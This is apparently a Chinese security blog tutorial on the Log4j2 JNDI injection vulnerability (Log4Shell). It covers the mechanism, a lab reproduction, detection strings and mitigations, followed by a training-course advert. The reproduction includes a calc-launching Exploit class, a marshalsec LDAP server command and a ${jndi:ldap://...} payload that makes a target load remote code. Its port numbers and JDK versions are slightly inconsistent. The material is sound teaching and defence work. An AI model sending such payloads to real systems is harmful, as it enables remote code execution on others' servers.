Log4j2 反序列化漏洞原理与复现

Log4j2 反序列化漏洞原理与复现
  • 1 漏洞介绍
    • 1.1 Log4j介绍
    • 1.2 Log4j漏洞原理
    • 1.3 相关解释
  • 2 复现流程
    • 2.1 环境搭建
    • 2.2 测试
    • 2.3 过程分析
  • 3 漏洞防御
    • 3.1 排查方法
    • 3.2 排查工具
    • 3.3 修复

Log4jLog for Java,Apache的开源日志记录组件

JDK→1.8u21以下的版本

CVE-2021-44228 远程代码执行 →2.15.0修复
CVE-2021-45046 拒绝服务Dos →2.16.0修复
CVE-2021-45105 拒绝服务Dos →2.17.0修复
CVE-2021-44832 远程代码执行 →2.17.1修复

1 漏洞介绍

1.1 Log4j介绍

Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

1.2 Log4j漏洞原理

由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

1.3 相关解释

LDAP协议

LDAP(LigntweightDirectoryAccessProtocol),轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。简单来说,就是搜索功能,它是分布式的,允许从远程服务器上面加载获取对象。默认服务端口389.。

JNDI接口

JavaNaming andDirectoryInterface,JAVA命名和目录接口(命名服务接口),应用通过该接口与具体的目录服务进行交互,允许通过名称发现和查找数据或对象,可用于动态加载配置等。

  1. 发布服务(名字和资源的映射)
  2. 用名字查找资源

JNDI注入流程:攻击者生成一个恶意的类文件,上传到一个为攻击者服务的HTTP服务器,向目标服务器(靶机,运行了LDAP服务,并指定了恶意类文件所在的地址)给HTTP请求中向Java应用程序传入恶意参数(比如${jndi:ldap://xxx.com:1234/xxx}),指向的是LDAP服务器不存在的资源,当JNDI接口使用lookup查找时,发现在参数指定的LDAP服务器中找不到,于是根据LDAP服务器预设的地址自动从存有恶意类文件的HTTP服务器动态加载对象。

#mermaid-svg-dPymVfnvbTT1yDEh {font-family:“trebuchet ms”,verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-dPymVfnvbTT1yDEh .error-icon{fill:#552222;}#mermaid-svg-dPymVfnvbTT1yDEh .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-dPymVfnvbTT1yDEh .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-dPymVfnvbTT1yDEh .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-dPymVfnvbTT1yDEh .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-dPymVfnvbTT1yDEh .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-dPymVfnvbTT1yDEh .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-dPymVfnvbTT1yDEh .marker{fill:#333333;stroke:#333333;}#mermaid-svg-dPymVfnvbTT1yDEh .marker.cross{stroke:#333333;}#mermaid-svg-dPymVfnvbTT1yDEh svg{font-family:“trebuchet ms”,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-dPymVfnvbTT1yDEh .label{font-family:“trebuchet ms”,verdana,arial,sans-serif;color:#333;}#mermaid-svg-dPymVfnvbTT1yDEh .cluster-label text{fill:#333;}#mermaid-svg-dPymVfnvbTT1yDEh .cluster-label span{color:#333;}#mermaid-svg-dPymVfnvbTT1yDEh .label text,#mermaid-svg-dPymVfnvbTT1yDEh span{fill:#333;color:#333;}#mermaid-svg-dPymVfnvbTT1yDEh .node rect,#mermaid-svg-dPymVfnvbTT1yDEh .node circle,#mermaid-svg-dPymVfnvbTT1yDEh .node ellipse,#mermaid-svg-dPymVfnvbTT1yDEh .node polygon,#mermaid-svg-dPymVfnvbTT1yDEh .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-dPymVfnvbTT1yDEh .node .label{text-align:center;}#mermaid-svg-dPymVfnvbTT1yDEh .node.clickable{cursor:pointer;}#mermaid-svg-dPymVfnvbTT1yDEh .arrowheadPath{fill:#333333;}#mermaid-svg-dPymVfnvbTT1yDEh .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-dPymVfnvbTT1yDEh .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-dPymVfnvbTT1yDEh .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-svg-dPymVfnvbTT1yDEh .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-svg-dPymVfnvbTT1yDEh .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-dPymVfnvbTT1yDEh .cluster text{fill:#333;}#mermaid-svg-dPymVfnvbTT1yDEh .cluster span{color:#333;}#mermaid-svg-dPymVfnvbTT1yDEh div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:“trebuchet ms”,verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-dPymVfnvbTT1yDEh :root{–mermaid-font-family:“trebuchet ms”,verdana,arial,sans-serif;}

1 上传到

2 攻击者传入

3 lookup

4 找不到类返回一个地址

5 到指定地址加载类

6 恶意类下载到本地

恶意类

HTTP服务器

LDAP服务器

Java应用程序

log4j JNDI接口

恶意参数

7 执行恶意类的static代码块

#mermaid-svg-HZKiKMzQNxXyf8vx {font-family:“trebuchet ms”,verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-HZKiKMzQNxXyf8vx .error-icon{fill:#552222;}#mermaid-svg-HZKiKMzQNxXyf8vx .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-HZKiKMzQNxXyf8vx .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-HZKiKMzQNxXyf8vx .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-HZKiKMzQNxXyf8vx .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-HZKiKMzQNxXyf8vx .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-HZKiKMzQNxXyf8vx .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-HZKiKMzQNxXyf8vx .marker{fill:#333333;stroke:#333333;}#mermaid-svg-HZKiKMzQNxXyf8vx .marker.cross{stroke:#333333;}#mermaid-svg-HZKiKMzQNxXyf8vx svg{font-family:“trebuchet ms”,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-HZKiKMzQNxXyf8vx .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-HZKiKMzQNxXyf8vx text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-HZKiKMzQNxXyf8vx .actor-line{stroke:grey;}#mermaid-svg-HZKiKMzQNxXyf8vx .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-HZKiKMzQNxXyf8vx .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-HZKiKMzQNxXyf8vx #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-HZKiKMzQNxXyf8vx .sequenceNumber{fill:white;}#mermaid-svg-HZKiKMzQNxXyf8vx #sequencenumber{fill:#333;}#mermaid-svg-HZKiKMzQNxXyf8vx #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-HZKiKMzQNxXyf8vx .messageText{fill:#333;stroke:#333;}#mermaid-svg-HZKiKMzQNxXyf8vx .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-HZKiKMzQNxXyf8vx .labelText,#mermaid-svg-HZKiKMzQNxXyf8vx .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-HZKiKMzQNxXyf8vx .loopText,#mermaid-svg-HZKiKMzQNxXyf8vx .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-HZKiKMzQNxXyf8vx .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-HZKiKMzQNxXyf8vx .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-HZKiKMzQNxXyf8vx .noteText,#mermaid-svg-HZKiKMzQNxXyf8vx .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-HZKiKMzQNxXyf8vx .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-HZKiKMzQNxXyf8vx .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-HZKiKMzQNxXyf8vx .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-HZKiKMzQNxXyf8vx .actorPopupMenu{position:absolute;}#mermaid-svg-HZKiKMzQNxXyf8vx .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-HZKiKMzQNxXyf8vx .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-HZKiKMzQNxXyf8vx .actor-man circle,#mermaid-svg-HZKiKMzQNxXyf8vx line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-HZKiKMzQNxXyf8vx :root{–mermaid-font-family:“trebuchet ms”,verdana,arial,sans-serif;} 攻击者 HTTP服务器 LDAP服务器 Java程序 log4j JNDI接口 恶意类的static代码块 传入一个恶意类,为攻击者服务 启动,指定默认转移地址为HTTP服务器 开启 1.传入一个恶意参数(指定LDAP服务器) 2.lookup 3.找不到类,返回默认地址 4.访问 5.返回(下载)恶意类到本地 6.执行 攻击者 HTTP服务器 LDAP服务器 Java程序 log4j JNDI接口 恶意类的static代码块

RMI协议

JAVA的一种远程接口调用协议,在TCP协议上传递可序列化的Java对象,即可以实现调用远程方法和调用本地方法一样简单。

2 复现流程

2.1 环境搭建

靶机:127.0.0.1

LDAP服务器:192.168.101.133

HTTP服务器:192.168.101.128

Java

JDK1.8u121以下的版本,Maven(需要安装和配置),log4j项目包

服务器

HTTP服务器(存放恶意类Exploit.class),使用phpstudy建立一个网站,端口为2222

LDAP服务器,下载marshalsec-0.0.3-SNAPSHOT-all.jar

Exploit.class

/* * Exploit.java * 将其编译后生成Exploit.class * 上传到HTTP服务器 */ import java.io.IOException; public class Exploit { static { try { // 打开windows电脑的计算器 proof of content Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }

2.2 测试

LDAP服务器中,执行如下代码

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.128:2222/#Exploit 1234

其中Exploit是恶意类的类名,1234是监听的端口号,该工具可以启动JNDI或RMI接口。

当命令行显示Listening on 0.0.0.0:1234时表示服务开启成功。

Log4J.java

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4J { private static final Logger logger = LogManager.getLogger(Log4J.class); public static void main(String[] args) { logger.error("${jndi:ldap://192.168.101.133:2222/test}"); } }

其中主要是靠如下语句:

${jndi:ldap://192.168.101.133:1234/test}

执行成功后,可以弹出计算器,LDAP服务器的命令行窗口会显示Send LDAP reference result for test redirecting to http://192.168.101.128:2222/Exploit.class
!!!
凡是Java应用程序,在获取用户输入时使用了Log4j组件且未作有效验证或限制的,都可能有该漏洞,在输入位置传入如上语句即可。

2.3 过程分析

Log4J Lookups介绍:https://logging.apache.org/log4j/2.x/manual/lookups

被攻击服务器收到恶意参数(语句)后,通过Log4J将其作为日志打印。

由于日志在打印时当遇到${后,Interpolator类以:号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过prefix去找对应的 lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。

而在LDAP服务器上找不到,于是跳转到指定地址下载恶意类到本地,再调用Java的NamingManager.getObjectFactoryFromReference()方法,通过默认构造函数将其实例化,进而导致攻击代码中的静态代码块中的内容被执行,引发命令执行漏洞。

3 漏洞防御

3.1 排查方法

  1. pom版本检查
  2. 可以通过检查日志中是否存在“jndi:ldap://”、“jndi:rmi”、“dnslog.cn”等字符来发现可能的攻击行为。
  3. 检查日志中是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调用相关的堆栈信息。

3.2 排查工具

3.3 修复

  1. 将Log4j、jdk升级到最新版本
  2. 禁止用户请求参数出现攻击关键字
  3. 禁止lookup下载远程文件(命名引用)
  4. 禁止Log4j的应用连接外网
  5. 禁止Log4j使用lookup
  6. 从Log4j jar包中中删除lookup 2.10以下
  7. 设置参数:
    log4j2.formatMsgNoLookups=True
  8. 修改JVM参数:
    -Dlog4j2.formatMsgNoLookups=true
  9. 系统环境变量:
    FORMAT_MESSAGES_PATTERN_DISABLE_LOOUPS设置为true

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1149463.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI视觉MiDaS应用:智能交通场景深度分析

AI视觉MiDaS应用:智能交通场景深度分析 1. 引言:单目深度估计在智能交通中的价值 随着人工智能与计算机视觉技术的飞速发展,三维空间感知已成为智能交通系统(ITS)中不可或缺的一环。无论是自动驾驶车辆的距离判断、交…

DeepSeek V4重磅升级:金融AI开发者的福音,代码能力碾压GPT/Claude,收藏级大模型学习指南

DeepSeek V4在代码生成与处理能力上实现史诗级升级,优于Claude和GPT系列,解决了"死记硬背"和"性能衰减"问题。专注代码而非多模态的战略使其在算力有限情况下实现高效训练。该模型对金融AI Agent建设极为有利,能实现工具…

边缘端实时翻译新选择|HY-MT1.5-1.8B模型应用实战

边缘端实时翻译新选择|HY-MT1.5-1.8B模型应用实战 随着多语言交互需求在智能设备、跨境服务和边缘计算场景中的快速增长,低延迟、高精度的本地化翻译能力成为关键基础设施。腾讯混元团队开源的 HY-MT1.5-1.8B 模型,作为同系列中轻量级主力成…

AI万能分类器参数详解:如何自定义分类标签

AI万能分类器参数详解:如何自定义分类标签 1. 背景与核心价值 在当今信息爆炸的时代,文本数据的自动化处理已成为企业提升效率的关键。无论是客服工单、用户反馈、新闻资讯还是社交媒体内容,都需要快速准确地进行分类打标。传统分类方法依赖…

AI单目测距保姆级教程:MiDaS模型部署与使用详解

AI单目测距保姆级教程:MiDaS模型部署与使用详解 1. 引言:走进AI的“三维眼睛” 1.1 单目深度估计的技术背景 在计算机视觉领域,如何让机器“看懂”真实世界的三维结构一直是一个核心挑战。传统方法依赖双目立体视觉或多传感器融合&#xf…

万能分类器数据安全:云端方案vs本地部署深度对比

万能分类器数据安全:云端方案vs本地部署深度对比 1. 为什么金融公司特别关注数据安全? 金融行业每天处理大量敏感数据,从客户身份信息到交易记录,这些数据一旦泄露可能造成严重后果。合规部门最担心的两个核心问题是&#xff1a…

毕业设计救星:用AI分类器处理问卷数据,云端GPU免安装

毕业设计救星:用AI分类器处理问卷数据,云端GPU免安装 引言:告别手动分类的烦恼 每到毕业季,最让大学生头疼的莫过于处理海量问卷数据。手动分类上千份问卷不仅耗时耗力,还容易出错。更糟的是,很多同学的电…

从零基础到 CTF 竞赛入门:2026最新超详细教程,看这篇直接上手

一、CTF简介 CTF(Capture The Flag)在中文网络安全界通称"夺旗赛",代表着网络安全专家间最高层次的技术竞技。这项赛事形式诞生于1996年DEFCON全球黑客大会,旨在以安全可控的对抗形式取代早期黑客间的真实攻击行为。 …

AI分类数据标注神器:万能分类器+人工复核工作流

AI分类数据标注神器:万能分类器人工复核工作流 引言 在AI项目开发中,数据标注往往是最耗时耗力的环节。传统的人工标注方式不仅效率低下,成本也居高不下。想象一下,如果你的团队每天要处理上万张图片的分类标注,光是…

技术面:MySQL篇(InnoDB事务执行过程、事务隔离级别、事务并发异常)

MySQL的InnoDB引擎下更新操作时事务的执行过程 MySQL数据库在InnoDB中一次update的操作过程基本如下:首先将数据加载到Buffer Pool里:当InnoDB需要更新一条记录时,首先会在Buffer Pool中查找该记录是否在内存中。若没在内存中,则从…

格式化翻译与低延迟输出|HY-MT1.5-7B技术亮点剖析

格式化翻译与低延迟输出|HY-MT1.5-7B技术亮点剖析 在全球化加速的今天,跨语言沟通已成为企业出海、科研协作和文化交流的核心需求。然而,传统翻译系统在小语种覆盖、混合语言处理和上下文理解方面仍存在明显短板。腾讯混元团队推出的 HY-MT1…

使用 FastAPI 和 LangGraph 构建生产级智能体 AI 系统

使用 FastAPI 和 LangGraph 构建生产级智能体 AI 系统 这是一本关于使用 FastAPI 和 LangGraph 构建生产级智能体 AI 系统的详细书籍,全文约 10 万字。 《Production-Grade Agentic AI System Design and Implementation: Building Agentic AI Systems Using FastAPI and La…

基于RaNER模型的中文NER实践|AI智能实体侦测服务开箱即用体验

基于RaNER模型的中文NER实践|AI智能实体侦测服务开箱即用体验 在信息爆炸的时代,非结构化文本数据如新闻、社交媒体内容、客服对话等海量涌现。如何从中高效提取关键信息,成为自然语言处理(NLP)领域的核心挑战之一。命…

Apple新框架CLaRa彻底颠覆RAG,检索准确率暴涨300%!三大范式转变让小白程序员也能秒变AI大神!

在当今的大语言模型应用中,RAG(检索增强生成)几乎已成为行业标配。然而,任何在一线落地过 RAG 的开发者都会遇到这样的一个痛点:绝大多数 RAG 系统崩溃,并非是因为模型不够聪明,而是死在了“检索…

RHCSA第一次作业

1、在VMware上创建虚拟机以及安装RHEL9操作系统,使用ssh进行远程连接2、文件管理命令练习: (1)在/opt目录下创建一个临时目录tmp;(2)在临时目录下创建一个文件,文件名为a.txt&#x…

吐血推荐10个AI论文平台,助你轻松搞定本科毕业论文!

吐血推荐10个AI论文平台,助你轻松搞定本科毕业论文! AI 工具如何让论文写作变得轻松? 对于许多本科生来说,撰写毕业论文是一段既紧张又充满挑战的旅程。从选题到开题,从初稿到定稿,每一个环节都可能让人感到…

AI万能分类器5分钟上手:小白用云端GPU,3步出结果

AI万能分类器5分钟上手:小白用云端GPU,3步出结果 引言:当行政小姐姐遇上AI分类器 每天处理上百张报销单的行政人员,最头疼的就是手动分类——餐饮发票、交通票据、办公用品单据混在一起,眼睛看花了还容易出错。现在&…

生产级代理AI系统( Agentic AI System)设计与实现:Production-Grade Agentic AI System Design and Implementation

文章目录 Production-Grade Agentic AI System Design and Implementation: Building Agentic AI Systems Using FastAPI and LangGraph Table of Contents Preface Part I: Foundations of the Modern AI Stack Chapter 1: The Shift to Agentic AI 1.1 From Chains to Agents…

CHA5266-QDG,10-16GHz宽带高性能GaAs中功率放大器

型号介绍今天我要向大家介绍的是 UMS 的一款放大器——CHA5266-QDG。 它放大器采用 pHEMT 工艺制造,具有 0.25m 的栅极长度,并通过介质通孔、空气桥和电子束光刻技术实现,保证了其高性能和可靠性。他还发现,这款放大器采用符合 Ro…

【程序员必学】Gemini File Search保姆级教程:从零搭建RAG系统,小白也能秒变AI开发大神!

Gemini API 文件搜索(File Search)工具是一个完全托管的 RAG(检索增强生成)系统,它直接集成在 Gemini API 中。该系统能够自动管理文件存储、对你的数据进行分块、创建嵌入(Embeddings)&#xf…